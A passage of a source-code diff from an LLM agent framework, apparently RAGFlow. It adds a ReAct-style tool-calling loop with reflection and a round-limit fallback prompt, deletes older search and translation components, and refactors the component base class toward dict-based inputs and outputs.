+                    yield delta_ans, 0
+                entire_txt += delta_ans
+            if not need2cite or cited:
+                return
+
+            st = timer()
+            txt = ""
+            for delta_ans in self._gen_citations(entire_txt):
+                yield delta_ans, 0
+                txt += delta_ans
+
+            self.callback("gen_citations", {}, txt, elapsed_time=timer()-st)
+
+        def append_user_content(hist, content):
+            if hist[-1]["role"] == "user":
+                hist[-1]["content"] += content
+            else:
+                hist.append({"role": "user", "content": content})
+
+        st = timer()
+        task_desc = analyze_task(self.chat_mdl, prompt, user_request, tool_metas)
+        self.callback("analyze_task", {}, task_desc, elapsed_time=timer()-st)
+        for _ in range(self._param.max_rounds + 1):
+            response, tk = next_step(self.chat_mdl, hist, tool_metas, task_desc)
+            # self.callback("next_step", {}, str(response)[:256]+"...")
+            token_count += tk
+            hist.append({"role": "assistant", "content": response})
+            try:
+                functions = json_repair.loads(re.sub(r"```.*", "", response))
+                if not isinstance(functions, list):
+                    raise TypeError(f"List should be returned, but `{functions}`")
+                for f in functions:
+                    if not isinstance(f, dict):
+                        raise TypeError(f"An object type should be returned, but `{f}`")
+                with ThreadPoolExecutor(max_workers=5) as executor:
+                    thr = []
+                    for func in functions:
+                        name = func["name"]
+                        args = func["arguments"]
+                        if name == COMPLETE_TASK:
+                            append_user_content(hist, f"Respond with a formal answer. FORGET(DO NOT mention) about `{COMPLETE_TASK}`. The language for the response MUST be as the same as the first user request.\n")
+                            for txt, tkcnt in complete():
+                                yield txt, tkcnt
+                            return
+
+                        thr.append(executor.submit(use_tool, name, args))
+
+                    st = timer()
+                    reflection = reflect(self.chat_mdl, hist, [th.result() for th in thr])
+                    append_user_content(hist, reflection)
+                    self.callback("reflection", {}, str(reflection), elapsed_time=timer()-st)
+
+            except Exception as e:
+                logging.exception(msg=f"Wrong JSON argument format in LLM ReAct response: {e}")
+                e = f"\nTool call error, please correct the input parameter of response format and call it again.\n *** Exception ***\n{e}"
+                append_user_content(hist, str(e))
+
+        logging.warning( f"Exceed max rounds: {self._param.max_rounds}")
+        final_instruction = f"""
+{user_request}
+IMPORTANT: You have reached the conversation limit. Based on ALL the information and research you have gathered so far, please provide a DIRECT and COMPREHENSIVE final answer to the original request.
+Instructions:
+1. SYNTHESIZE all information collected during this conversation
+2. Provide a COMPLETE response using existing data - do not suggest additional research
+3. Structure your response as a FINAL DELIVERABLE, not a plan
+4. If information is incomplete, state what you found and provide the best analysis possible with available data
+5. DO NOT mention conversation limits or suggest further steps
+6. Focus on delivering VALUE with the information already gathered
+Respond immediately with your final comprehensive answer.
+        """
+        append_user_content(hist, final_instruction)
+
+        for txt, tkcnt in complete():
+            yield txt, tkcnt
+
+    def get_useful_memory(self, goal: str, sub_goal:str, topn=3) -> str:
+        # self.callback("get_useful_memory", {"topn": 3}, "...")
+        mems = self._canvas.get_memory()
+        rank = rank_memories(self.chat_mdl, goal, sub_goal, [summ for (user, assist, summ) in mems])
+        try:
+            rank = json_repair.loads(re.sub(r"```.*", "", rank))[:topn]
+            mems = [mems[r] for r in rank]
+            return "\n\n".join([f"User: {u}\nAgent: {a}" for u, a,_ in mems])
+        except Exception as e:
+            logging.exception(e)
+
+        return "Error occurred."
+

agent/component/answer.py

@@ -1,89 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import random
-from abc import ABC
-from functools import partial
-from typing import Tuple, Union
-
-import pandas as pd
-
-from agent.component.base import ComponentBase, ComponentParamBase
-
-
-class AnswerParam(ComponentParamBase):
-
-    """
-    Define the Answer component parameters.
-    """
-    def __init__(self):
-        super().__init__()
-        self.post_answers = []
-
-    def check(self):
-        return True
-
-
-class Answer(ComponentBase, ABC):
-    component_name = "Answer"
-
-    def _run(self, history, **kwargs):
-        if kwargs.get("stream"):
-            return partial(self.stream_output)
-
-        ans = self.get_input()
-        if self._param.post_answers:
-            ans = pd.concat([ans, pd.DataFrame([{"content": random.choice(self._param.post_answers)}])], ignore_index=False)
-        return ans
-
-    def stream_output(self):
-        res = None
-        if hasattr(self, "exception") and self.exception:
-            res = {"content": str(self.exception)}
-            self.exception = None
-            yield res
-            self.set_output(res)
-            return
-
-        stream = self.get_stream_input()
-        if isinstance(stream, pd.DataFrame):
-            res = stream
-            answer = ""
-            for ii, row in stream.iterrows():
-                answer += row.to_dict()["content"]
-                yield {"content": answer}
-        else:
-            for st in stream():
-                res = st
-                yield st
-        if self._param.post_answers:
-            res["content"] += random.choice(self._param.post_answers)
-            yield res
-
-        self.set_output(res)
-
-    def set_exception(self, e):
-        self.exception = e
-
-    def output(self, allow_partial=True) -> Tuple[str, Union[pd.DataFrame, partial]]:
-        if allow_partial:
-            return super.output()
-
-        for r, c in self._canvas.history[::-1]:
-            if r == "user":
-                return self._param.output_var_name, pd.DataFrame([{"content": c}])
-
-        self._param.output_var_name, pd.DataFrame([])
-

agent/component/arxiv.py

@@ -1,68 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import logging
-from abc import ABC
-import arxiv
-import pandas as pd
-from agent.component.base import ComponentBase, ComponentParamBase
-
-class ArXivParam(ComponentParamBase):
-    """
-    Define the ArXiv component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.top_n = 6
-        self.sort_by = 'submittedDate'
-
-    def check(self):
-        self.check_positive_integer(self.top_n, "Top N")
-        self.check_valid_value(self.sort_by, "ArXiv Search Sort_by",
-                               ['submittedDate', 'lastUpdatedDate', 'relevance'])
-
-
-class ArXiv(ComponentBase, ABC):
-    component_name = "ArXiv"
-
-    def _run(self, history, **kwargs):
-        ans = self.get_input()
-        ans = " - ".join(ans["content"]) if "content" in ans else ""
-        if not ans:
-            return ArXiv.be_output("")
-
-        try:
-            sort_choices = {"relevance": arxiv.SortCriterion.Relevance,
-                            "lastUpdatedDate": arxiv.SortCriterion.LastUpdatedDate,
-                            'submittedDate': arxiv.SortCriterion.SubmittedDate}
-            arxiv_client = arxiv.Client()
-            search = arxiv.Search(
-                query=ans,
-                max_results=self._param.top_n,
-                sort_by=sort_choices[self._param.sort_by]
-            )
-            arxiv_res = [
-                {"content": 'Title: ' + i.title + '\nPdf_Url: <a href="' + i.pdf_url + '"></a> \nSummary: ' + i.summary} for
-                i in list(arxiv_client.results(search))]
-        except Exception as e:
-            return ArXiv.be_output("**ERROR**: " + str(e))
-
-        if not arxiv_res:
-            return ArXiv.be_output("")
-
-        df = pd.DataFrame(arxiv_res)
-        logging.debug(f"df: {str(df)}")
-        return df

agent/component/baidu.py

@@ -1,67 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import logging
-from abc import ABC
-import pandas as pd
-import requests
-import re
-from agent.component.base import ComponentBase, ComponentParamBase
-
-
-class BaiduParam(ComponentParamBase):
-    """
-    Define the Baidu component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.top_n = 10
-
-    def check(self):
-        self.check_positive_integer(self.top_n, "Top N")
-
-
-class Baidu(ComponentBase, ABC):
-    component_name = "Baidu"
-
-    def _run(self, history, **kwargs):
-        ans = self.get_input()
-        ans = " - ".join(ans["content"]) if "content" in ans else ""
-        if not ans:
-            return Baidu.be_output("")
-
-        try:
-            url = 'http://www.baidu.com/s?wd=' + ans + '&rn=' + str(self._param.top_n)
-            headers = {
-                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36'}
-            response = requests.get(url=url, headers=headers)
-
-            url_res = re.findall(r"'url': \\\"(.*?)\\\"}", response.text)
-            title_res = re.findall(r"'title': \\\"(.*?)\\\",\\n", response.text)
-            body_res = re.findall(r"\"contentText\":\"(.*?)\"", response.text)
-            baidu_res = [{"content": re.sub('<em>|</em>', '', '<a href="' + url + '">' + title + '</a>    ' + body)} for
-                         url, title, body in zip(url_res, title_res, body_res)]
-            del body_res, url_res, title_res
-        except Exception as e:
-            return Baidu.be_output("**ERROR**: " + str(e))
-
-        if not baidu_res:
-            return Baidu.be_output("")
-
-        df = pd.DataFrame(baidu_res)
-        logging.debug(f"df: {str(df)}")
-        return df
-

agent/component/baidufanyi.py

@@ -1,96 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import random
-from abc import ABC
-import requests
-from agent.component.base import ComponentBase, ComponentParamBase
-from hashlib import md5
-
-
-class BaiduFanyiParam(ComponentParamBase):
-    """
-    Define the BaiduFanyi component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.appid = "xxx"
-        self.secret_key = "xxx"
-        self.trans_type = 'translate'
-        self.parameters = []
-        self.source_lang = 'auto'
-        self.target_lang = 'auto'
-        self.domain = 'finance'
-
-    def check(self):
-        self.check_empty(self.appid, "BaiduFanyi APPID")
-        self.check_empty(self.secret_key, "BaiduFanyi Secret Key")
-        self.check_valid_value(self.trans_type, "Translate type", ['translate', 'fieldtranslate'])
-        self.check_valid_value(self.source_lang, "Source language",
-                               ['auto', 'zh', 'en', 'yue', 'wyw', 'jp', 'kor', 'fra', 'spa', 'th', 'ara', 'ru', 'pt',
-                                'de', 'it', 'el', 'nl', 'pl', 'bul', 'est', 'dan', 'fin', 'cs', 'rom', 'slo', 'swe',
-                                'hu', 'cht', 'vie'])
-        self.check_valid_value(self.target_lang, "Target language",
-                               ['auto', 'zh', 'en', 'yue', 'wyw', 'jp', 'kor', 'fra', 'spa', 'th', 'ara', 'ru', 'pt',
-                                'de', 'it', 'el', 'nl', 'pl', 'bul', 'est', 'dan', 'fin', 'cs', 'rom', 'slo', 'swe',
-                                'hu', 'cht', 'vie'])
-        self.check_valid_value(self.domain, "Translate field",
-                               ['it', 'finance', 'machinery', 'senimed', 'novel', 'academic', 'aerospace', 'wiki',
-                                'news', 'law', 'contract'])
-
-
-class BaiduFanyi(ComponentBase, ABC):
-    component_name = "BaiduFanyi"
-
-    def _run(self, history, **kwargs):
-
-        ans = self.get_input()
-        ans = " - ".join(ans["content"]) if "content" in ans else ""
-        if not ans:
-            return BaiduFanyi.be_output("")
-
-        try:
-            source_lang = self._param.source_lang
-            target_lang = self._param.target_lang
-            appid = self._param.appid
-            salt = random.randint(32768, 65536)
-            secret_key = self._param.secret_key
-
-            if self._param.trans_type == 'translate':
-                sign = md5((appid + ans + salt + secret_key).encode('utf-8')).hexdigest()
-                url = 'http://api.fanyi.baidu.com/api/trans/vip/translate?' + 'q=' + ans + '&from=' + source_lang + '&to=' + target_lang + '&appid=' + appid + '&salt=' + salt + '&sign=' + sign
-                headers = {"Content-Type": "application/x-www-form-urlencoded"}
-                response = requests.post(url=url, headers=headers).json()
-
-                if response.get('error_code'):
-                    BaiduFanyi.be_output("**Error**:" + response['error_msg'])
-
-                return BaiduFanyi.be_output(response['trans_result'][0]['dst'])
-            elif self._param.trans_type == 'fieldtranslate':
-                domain = self._param.domain
-                sign = md5((appid + ans + salt + domain + secret_key).encode('utf-8')).hexdigest()
-                url = 'http://api.fanyi.baidu.com/api/trans/vip/fieldtranslate?' + 'q=' + ans + '&from=' + source_lang + '&to=' + target_lang + '&appid=' + appid + '&salt=' + salt + '&domain=' + domain + '&sign=' + sign
-                headers = {"Content-Type": "application/x-www-form-urlencoded"}
-                response = requests.post(url=url, headers=headers).json()
-
-                if response.get('error_code'):
-                    BaiduFanyi.be_output("**Error**:" + response['error_msg'])
-
-                return BaiduFanyi.be_output(response['trans_result'][0]['dst'])
-
-        except Exception as e:
-            BaiduFanyi.be_output("**Error**:" + str(e))
-    

agent/component/base.py

@@ -13,17 +13,20 @@
 #  See the License for the specific language governing permissions and
 #  limitations under the License.
 #
-from abc import ABC
+
+import re
+import time
+from abc import ABC, abstractmethod
 import builtins
 import json
 import os
 import logging
-from functools import partial
-from typing import Any, Tuple, Union
-
+from typing import Any, List, Union
 import pandas as pd
-
+import trio
 from agent import settings
+from api.utils.api_utils import timeout
+
 
 _FEEDED_DEPRECATED_PARAMS = "_feeded_deprecated_params"
 _DEPRECATED_PARAMS = "_deprecated_params"
@@ -33,12 +36,16 @@ _IS_RAW_CONF = "_is_raw_conf"
 
 class ComponentParamBase(ABC):
     def __init__(self):
-        self.output_var_name = "output"
-        self.infor_var_name = "infor"
         self.message_history_window_size = 22
-        self.query = []
-        self.inputs = []
-        self.debug_inputs = []
+        self.inputs = {}
+        self.outputs = {}
+        self.description = ""
+        self.max_retries = 0
+        self.delay_after_error = 2.0
+        self.exception_method = None
+        self.exception_default_value = None
+        self.exception_goto = None
+        self.debug_inputs = {}
 
     def set_name(self, name: str):
         self._name = name
@@ -89,6 +96,14 @@ class ComponentParamBase(ABC):
     def as_dict(self):
         def _recursive_convert_obj_to_dict(obj):
             ret_dict = {}
+            if isinstance(obj, dict):
+                for k,v in obj.items():
+                    if isinstance(v, dict) or (v and type(v).__name__ not in dir(builtins)):
+                        ret_dict[k] = _recursive_convert_obj_to_dict(v)
+                    else:
+                        ret_dict[k] = v
+                return ret_dict
+
             for attr_name in list(obj.__dict__):
                 if attr_name in [_FEEDED_DEPRECATED_PARAMS, _DEPRECATED_PARAMS, _USER_FEEDED_PARAMS, _IS_RAW_CONF]:
                     continue
@@ -97,7 +112,7 @@ class ComponentParamBase(ABC):
                 if isinstance(attr, pd.DataFrame):
                     ret_dict[attr_name] = attr.to_dict()
                     continue
-                if attr and type(attr).__name__ not in dir(builtins):
+                if isinstance(attr, dict) or (attr and type(attr).__name__ not in dir(builtins)):
                     ret_dict[attr_name] = _recursive_convert_obj_to_dict(attr)
                 else:
                     ret_dict[attr_name] = attr
@@ -377,6 +392,8 @@ class ComponentParamBase(ABC):
 
 class ComponentBase(ABC):
     component_name: str
+    thread_limiter = trio.CapacityLimiter(int(os.environ.get('MAX_CONCURRENT_CHATS', 10)))
+    variable_ref_patt = r"\{* *\{([a-zA-Z:0-9]+@[A-Za-z:0-9_.-]+|sys\.[a-z_]+)\} *\}*"
 
     def __str__(self):
         """
@@ -385,20 +402,11 @@ class ComponentBase(ABC):
             "params": {}
         }
         """
-        out = getattr(self._param, self._param.output_var_name)
-        if isinstance(out, pd.DataFrame) and "chunks" in out:
-            del out["chunks"]
-            setattr(self._param, self._param.output_var_name, out)
-
         return """{{
             "component_name": "{}",
-            "params": {},
-            "output": {},
-            "inputs": {}
+            "params": {}
         }}""".format(self.component_name,
-                     self._param,
-                     json.dumps(json.loads(str(self._param)).get("output", {}), ensure_ascii=False),
-                     json.dumps(json.loads(str(self._param)).get("inputs", []), ensure_ascii=False)
+                     self._param
         )
 
     def __init__(self, canvas, id, param: ComponentParamBase):
@@ -409,210 +417,143 @@ class ComponentBase(ABC):
         self._param = param
         self._param.check()
 
-    def get_dependent_components(self):
-        cpnts = set([para["component_id"].split("@")[0] for para in self._param.query \
-                     if para.get("component_id") \
-                     and para["component_id"].lower().find("answer") < 0 \
-                     and para["component_id"].lower().find("begin") < 0])
-        return list(cpnts)
-
-    def run(self, history, **kwargs):
-        logging.debug("{}, history: {}, kwargs: {}".format(self, json.dumps(history, ensure_ascii=False),
-                                                              json.dumps(kwargs, ensure_ascii=False)))
-        self._param.debug_inputs = []
+    def invoke(self, **kwargs) -> dict[str, Any]:
+        self.set_output("_created_time", time.perf_counter())
         try:
-            res = self._run(history, **kwargs)
-            self.set_output(res)
+            self._invoke(**kwargs)
         except Exception as e:
-            self.set_output(pd.DataFrame([{"content": str(e)}]))
-            raise e
+            if self.get_exception_default_value():
+                self.set_exception_default_value()
+            else:
+                self.set_output("_ERROR", str(e))
+            logging.exception(e)
+        self._param.debug_inputs = {}
+        self.set_output("_elapsed_time", time.perf_counter() - self.output("_created_time"))
+        return self.output()
 
-        return res
-
-    def _run(self, history, **kwargs):
+    @timeout(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60))
+    def _invoke(self, **kwargs):
         raise NotImplementedError()
 
-    def output(self, allow_partial=True) -> Tuple[str, Union[pd.DataFrame, partial]]:
-        o = getattr(self._param, self._param.output_var_name)
-        if not isinstance(o, partial):
-            if not isinstance(o, pd.DataFrame):
-                if isinstance(o, list):
-                    return self._param.output_var_name, pd.DataFrame(o).dropna()
-                if o is None:
-                    return self._param.output_var_name, pd.DataFrame()
-                return self._param.output_var_name, pd.DataFrame([{"content": str(o)}])
-            return self._param.output_var_name, o
+    def output(self, var_nm: str=None) -> Union[dict[str, Any], Any]:
+        if var_nm:
+            return self._param.outputs.get(var_nm, {}).get("value", "")
+        return {k: o.get("value") for k,o in self._param.outputs.items()}
 
-        if allow_partial or not isinstance(o, partial):
-            if not isinstance(o, partial) and not isinstance(o, pd.DataFrame):
-                return pd.DataFrame(o if isinstance(o, list) else [o]).dropna()
-            return self._param.output_var_name, o
+    def set_output(self, key: str, value: Any):
+        if key not in self._param.outputs:
+            self._param.outputs[key] = {"value": None, "type": str(type(value))}
+        self._param.outputs[key]["value"] = value
 
-        outs = None
-        for oo in o():
-            if not isinstance(oo, pd.DataFrame):
-                outs = pd.DataFrame(oo if isinstance(oo, list) else [oo]).dropna()
-            else:
-                outs = oo.dropna()
-        return self._param.output_var_name, outs
+    def error(self):
+        return self._param.outputs.get("_ERROR", {}).get("value")
 
     def reset(self):
-        setattr(self._param, self._param.output_var_name, None)
-        self._param.inputs = []
+        for k in self._param.outputs.keys():
+            self._param.outputs[k]["value"] = None
+        for k in self._param.inputs.keys():
+            self._param.inputs[k]["value"] = None
+        self._param.debug_inputs = {}
 
-    def set_output(self, v):
-        setattr(self._param, self._param.output_var_name, v)
+    def get_input(self, key: str=None) -> Union[Any, dict[str, Any]]:
+        if key:
+            return self._param.inputs.get(key, {}).get("value")
 
-    def set_infor(self, v):
-        setattr(self._param, self._param.infor_var_name, v)
-        
-    def _fetch_outputs_from(self, sources: list[dict[str, Any]]) -> list[pd.DataFrame]:
-        outs = []
-        for q in sources:
-            if q.get("component_id"):
-                if "@" in q["component_id"] and q["component_id"].split("@")[0].lower().find("begin") >= 0:
-                    cpn_id, key = q["component_id"].split("@")
-                    for p in self._canvas.get_component(cpn_id)["obj"]._param.query:
-                        if p["key"] == key:
-                            outs.append(pd.DataFrame([{"content": p.get("value", "")}]))
-                            break
-                    else:
-                        assert False, f"Can't find parameter '{key}' for {cpn_id}"
-                    continue
-
-                if q["component_id"].lower().find("answer") == 0:
-                    txt = []
-                    for r, c in self._canvas.history[::-1][:self._param.message_history_window_size][::-1]:
-                        txt.append(f"{r.upper()}:{c}")
-                    txt = "\n".join(txt)
-                    outs.append(pd.DataFrame([{"content": txt}]))
-                    continue
-
-                outs.append(self._canvas.get_component(q["component_id"])["obj"].output(allow_partial=False)[1])
-            elif q.get("value"):
-                outs.append(pd.DataFrame([{"content": q["value"]}]))
-        return outs
-    def get_input(self):
-        if self._param.debug_inputs:
-            return pd.DataFrame([{"content": v["value"]} for v in self._param.debug_inputs if v.get("value")])
-
-        reversed_cpnts = []
-        if len(self._canvas.path) > 1:
-            reversed_cpnts.extend(self._canvas.path[-2])
-        reversed_cpnts.extend(self._canvas.path[-1])
-        up_cpns = self.get_upstream()
-        reversed_up_cpnts = [cpn for cpn in reversed_cpnts if cpn in up_cpns]
-
-        if self._param.query:
-            self._param.inputs = []
-            outs = self._fetch_outputs_from(self._param.query)
-
-            for out in outs:
-                records = out.to_dict("records")
-                content: str
-
-                if len(records) > 1:
-                    content = "\n".join(
-                        [str(d["content"]) for d in records]
-                    )
-                else:
-                    content = records[0]["content"]
-
-                self._param.inputs.append({
-                    "component_id": records[0].get("component_id"),
-                    "content": content
-                })
-
-            if outs:
-                df = pd.concat(outs, ignore_index=True)
-                if "content" in df:
-                    df = df.drop_duplicates(subset=['content']).reset_index(drop=True)
-                return df
-
-        upstream_outs = []
-
-        for u in reversed_up_cpnts[::-1]:
-            if self.get_component_name(u) in ["switch", "concentrator"]:
+        res = {}
+        for var, o in self.get_input_elements().items():
+            v = self.get_param(var)
+            if v is None:
                 continue
-            if self.component_name.lower() == "generate" and self.get_component_name(u) == "retrieval":
-                o = self._canvas.get_component(u)["obj"].output(allow_partial=False)[1]
-                if o is not None:
-                    o["component_id"] = u
-                    upstream_outs.append(o)
-                    continue
-            #if self.component_name.lower()!="answer" and u not in self._canvas.get_component(self._id)["upstream"]: continue
-            if self.component_name.lower().find("switch") < 0 \
-                    and self.get_component_name(u) in ["relevant", "categorize"]:
-                continue
-            if u.lower().find("answer") >= 0:
-                for r, c in self._canvas.history[::-1]:
-                    if r == "user":
-                        upstream_outs.append(pd.DataFrame([{"content": c, "component_id": u}]))
-                        break
-                break
-            if self.component_name.lower().find("answer") >= 0 and self.get_component_name(u) in ["relevant"]:
-                continue
-            o = self._canvas.get_component(u)["obj"].output(allow_partial=False)[1]
-            if o is not None:
-                o["component_id"] = u
-                upstream_outs.append(o)
-            break
-
-        assert upstream_outs, "Can't inference the where the component input is. Please identify whose output is this component's input."
-
-        df = pd.concat(upstream_outs, ignore_index=True)
-        if "content" in df:
-            df = df.drop_duplicates(subset=['content']).reset_index(drop=True)
-
-        self._param.inputs = []
-        for _, r in df.iterrows():
-            self._param.inputs.append({"component_id": r["component_id"], "content": r["content"]})
-
-        return df
-
-    def get_input_elements(self):
-        assert self._param.query, "Please verify the input parameters first."
-        eles = []
-        for q in self._param.query:
-            if q.get("component_id"):
-                cpn_id = q["component_id"]
-                if cpn_id.split("@")[0].lower().find("begin") >= 0:
-                    cpn_id, key = cpn_id.split("@")
-                    eles.extend(self._canvas.get_component(cpn_id)["obj"]._param.query)
-                    continue
-
-                eles.append({"name": self._canvas.get_component_name(cpn_id), "key": cpn_id})
+            if isinstance(v, str) and self._canvas.is_reff(v):
+                self.set_input_value(var, self._canvas.get_variable_value(v))
             else:
-                eles.append({"key": q["value"], "name": q["value"], "value": q["value"]})
-        return eles
+                self.set_input_value(var, v)
+            res[var] = self.get_input_value(var)
+        return res
 
-    def get_stream_input(self):
-        reversed_cpnts = []
-        if len(self._canvas.path) > 1:
-            reversed_cpnts.extend(self._canvas.path[-2])
-        reversed_cpnts.extend(self._canvas.path[-1])
-        up_cpns = self.get_upstream()
-        reversed_up_cpnts = [cpn for cpn in reversed_cpnts if cpn in up_cpns]
+    def get_input_values(self) -> Union[Any, dict[str, Any]]:
+        if self._param.debug_inputs:
+            return self._param.debug_inputs
 
-        for u in reversed_up_cpnts[::-1]:
-            if self.get_component_name(u) in ["switch", "answer"]:
-                continue
-            return self._canvas.get_component(u)["obj"].output()[1]
+        return {var: self.get_input_value(var) for var, o in self.get_input_elements().items()}
 
-    @staticmethod
-    def be_output(v):
-        return pd.DataFrame([{"content": v}])
+    def get_input_elements_from_text(self, txt: str) -> dict[str, dict[str, str]]:
+        res = {}
+        for r in re.finditer(self.variable_ref_patt, txt, flags=re.IGNORECASE|re.DOTALL):
+            exp = r.group(1)
+            cpn_id, var_nm = exp.split("@") if exp.find("@")>0 else ("", exp)
+            res[exp] = {
+                "name": (self._canvas.get_component_name(cpn_id) +f"@{var_nm}") if cpn_id else exp,
+                "value": self._canvas.get_variable_value(exp),
+                "_retrival": self._canvas.get_variable_value(f"{cpn_id}@_references") if cpn_id else None,
+                "_cpn_id": cpn_id
+            }
+        return res
 
-    def get_component_name(self, cpn_id):
+    def get_input_elements(self) -> dict[str, Any]:
+        return self._param.inputs
+
+    def get_input_form(self) -> dict[str, dict]:
+        return self._param.get_input_form()
+
+    def set_input_value(self, key: str, value: Any) -> None:
+        if key not in self._param.inputs:
+            self._param.inputs[key] = {"value": None}
+        self._param.inputs[key]["value"] = value
+
+    def get_input_value(self, key: str) -> Any:
+        if key not in self._param.inputs:
+            return None
+        return self._param.inputs[key].get("value")
+
+    def get_component_name(self, cpn_id) -> str:
         return self._canvas.get_component(cpn_id)["obj"].component_name.lower()
 
-    def debug(self, **kwargs):
-        return self._run([], **kwargs)
+    def get_param(self, name):
+        if hasattr(self._param, name):
+            return getattr(self._param, name)
 
-    def get_parent(self):
-        pid = self._canvas.get_component(self._id)["parent_id"]
+    def debug(self, **kwargs):
+        return self._invoke(**kwargs)
+
+    def get_parent(self) -> Union[object, None]:
+        pid = self._canvas.get_component(self._id).get("parent_id")
+        if not pid:
+            return
         return self._canvas.get_component(pid)["obj"]
 
-    def get_upstream(self):
+    def get_upstream(self) -> List[str]:
         cpn_nms = self._canvas.get_component(self._id)['upstream']
         return cpn_nms
+
+    @staticmethod
+    def string_format(content: str, kv: dict[str, str]) -> str:
+        for n, v in kv.items():
+            def repl(_match, val=v):
+                return str(val) if val is not None else ""
+            content = re.sub(
+                r"\{%s\}" % re.escape(n),
+                repl,
+                content
+            )
+        return content
+
+    def exception_handler(self):
+        if not self._param.exception_method:
+            return
+        return {
+            "goto": self._param.exception_goto,
+            "default_value": self._param.exception_default_value
+        }
+
+    def get_exception_default_value(self):
+        if self._param.exception_method != "comment":
+            return ""
+        return self._param.exception_default_value
+
+    def set_exception_default_value(self):
+        self.set_output("result", self.get_exception_default_value())
+
+    @abstractmethod
+    def thoughts(self) -> str:
+        ...

agent/component/begin.py

@@ -13,37 +13,40 @@
 #  See the License for the specific language governing permissions and
 #  limitations under the License.
 #
-from functools import partial
-import pandas as pd
-from agent.component.base import ComponentBase, ComponentParamBase
+from agent.component.fillup import UserFillUpParam, UserFillUp
 
 
-class BeginParam(ComponentParamBase):
+class BeginParam(UserFillUpParam):
 
     """
     Define the Begin component parameters.
     """
     def __init__(self):
         super().__init__()
+        self.mode = "conversational"
         self.prologue = "Hi! I'm your smart assistant. What can I do for you?"
-        self.query = []
 
     def check(self):
-        return True
+        self.check_valid_value(self.mode, "The 'mode' should be either `conversational` or `task`", ["conversational", "task"])
+
+    def get_input_form(self) -> dict[str, dict]:
+        return getattr(self, "inputs")
 
 
-class Begin(ComponentBase):
+class Begin(UserFillUp):
     component_name = "Begin"
 
-    def _run(self, history, **kwargs):
-        if kwargs.get("stream"):
-            return partial(self.stream_output)
-        return pd.DataFrame([{"content": self._param.prologue}])
-
-    def stream_output(self):
-        res = {"content": self._param.prologue}
-        yield res
-        self.set_output(self.be_output(res))
-
-
+    def _invoke(self, **kwargs):
+        for k, v in kwargs.get("inputs", {}).items():
+            if isinstance(v, dict) and v.get("type", "").lower().find("file") >=0:
+                if v.get("optional") and v.get("value", None) is None:
+                    v = None
+                else:
+                    v = self._canvas.get_files([v["value"]])
+            else:
+                v = v.get("value")
+            self.set_output(k, v)
+            self.set_input_value(k, v)
 
+    def thoughts(self) -> str:
+        return ""

agent/component/bing.py

@@ -1,84 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-import logging
-from abc import ABC
-import requests
-import pandas as pd
-from agent.component.base import ComponentBase, ComponentParamBase
-
-class BingParam(ComponentParamBase):
-    """
-    Define the Bing component parameters.
-    """
-
-    def __init__(self):
-        super().__init__()
-        self.top_n = 10
-        self.channel = "Webpages"
-        self.api_key = "YOUR_ACCESS_KEY"
-        self.country = "CN"
-        self.language = "en"
-
-    def check(self):
-        self.check_positive_integer(self.top_n, "Top N")
-        self.check_valid_value(self.channel, "Bing Web Search or Bing News", ["Webpages", "News"])
-        self.check_empty(self.api_key, "Bing subscription key")
-        self.check_valid_value(self.country, "Bing Country",
-                               ['AR', 'AU', 'AT', 'BE', 'BR', 'CA', 'CL', 'DK', 'FI', 'FR', 'DE', 'HK', 'IN', 'ID',
-                                'IT', 'JP', 'KR', 'MY', 'MX', 'NL', 'NZ', 'NO', 'CN', 'PL', 'PT', 'PH', 'RU', 'SA',
-                                'ZA', 'ES', 'SE', 'CH', 'TW', 'TR', 'GB', 'US'])
-        self.check_valid_value(self.language, "Bing Languages",
